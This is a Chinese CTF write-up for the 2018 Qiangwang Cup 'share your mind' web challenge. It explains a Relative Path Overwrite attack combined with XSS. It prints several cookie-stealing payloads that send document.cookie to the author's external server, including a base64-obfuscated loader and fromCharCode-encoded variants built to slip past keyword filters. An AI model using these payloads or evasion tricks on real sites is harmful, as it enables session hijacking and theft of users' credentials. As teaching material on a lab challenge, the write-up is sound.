以2018强网杯share your mind为例
RPO攻击相关的文章
http://blog.nsfocus.net/rpo-attack/
https://xz.aliyun.com/t/2220
接下来是我的解题过程
比赛网址
http://39.107.33.96:20000/login.php
一开始以为是在report的XSS，所以疯狂打report，就是打过来的cookie一直为空
可用的payload
xss平台生成的
url=http://39.107.33.96:20000/"><img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL0tFY1VIbz8nK01hdGgucmFuZG9tKCk='))>
自己vps的
http://39.107.33.96:20000/"><img src=x onerror = this.src='http://39.108.80.149:2333?cookie1='+document.cookie;>
自己vps的
http://39.107.33.96:20000/"><img src=x onerror = this.src='http://39.108.80.149:2333?cookie2='["concat"](document["cookie"]);>
结果cookie一直为空
开始尝试别的姿势
被hint误导，搞了一会儿这个，但是没找到可传入的file参数，遂放弃
从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
https://www.anquanke.com/post/id/86371
到了晚上又有了hint，xss的点不在report页面。。。搞了一个下午都白搞了，差点一口老血喷出来
尝试RPO攻击
第一次遇到RPO，还是那句话，静下心来读paper，认真读了绿盟这篇paper，http://blog.nsfocus.net/rpo-attack/ ，就把题目顺利做出来了
index.php调用了相对路径的js
http://39.107.33.96:20000/index.php
第一个是相对路径，第二个是绝对路径
此时我们先创建文章
然后得到文章链接
http://39.107.33.96:20000/index.php/view/article/3093
构造xss
http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
后端服务器会url解码并识别为
http://39.107.33.96:20000/index.php/view/article/3093/../../../
即为 http://39.107.33.96:20000/index.php
其中包含有js相对资源: static/js/jquery.min.js
但是浏览器在渲染的时候，无法url解码
http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
所以 static/js/jquery.min.js 是接在目录 3093/后面，构成了
http://39.107.33.96:20000/index.php/view/article/3093/static/js/jquery.min.js
然后在渲染的时候将该页面的内容作为js脚本来加载
http://39.107.33.96:20000/index.php/view/article/3093
绕过xss敏感词的转译
既然是js语法，用document.write(String.fromcharcode())可以绕过，可以用hackbar生成
原始payload
<img src=x onerror = this.src='http://39.108.80.149:2333?cookie1='+document.cookie;>
编码payload
document.write(String.fromCharCode(60, 105, 109, 103, 32, 115, 114, 99, 61, 120, 32, 111, 110, 101, 114, 114, 111, 114, 32, 61, 32, 116, 104, 105, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 51, 57, 46, 49, 48, 56, 46, 56, 48, 46, 49, 52, 57, 58, 50, 51, 51, 51, 63, 99, 111, 111, 107, 105, 101, 49, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 62))
生成文章后，将payload通过report发给admin，后台机器人会自动点击触发
http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
接下来要拿到得到路径/QWB_fl4g/QWB/下的cookie，这里可以利用iframe的特性+document语法来实现
原始payload
<iframe src="/QWB_fl4g/QWB/" id="123"></iframe><img src=x onerror = "location.href='http://39.108.80.149:2333/?cookie1='+document.getElementById('123').contentWindow.document.cookie">
编码后的payload
document.write(String.fromCharCode(60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 32, 105, 100, 61, 34, 49, 50, 51, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 60, 105, 109, 103, 32, 115, 114, 99, 61, 120, 32, 111, 110, 101, 114, 114, 111, 114, 32, 61, 32, 34, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 39, 104, 116, 116, 112, 58, 47, 47, 51, 57, 46, 49, 48, 56, 46, 56, 48, 46, 49, 52, 57, 58, 50, 51, 51, 51, 47, 63, 99, 111, 111, 107, 105, 101, 49, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 49, 50, 51, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 34, 62))
得到flag~
最后附上某个知识星球对RPO攻击的讲解
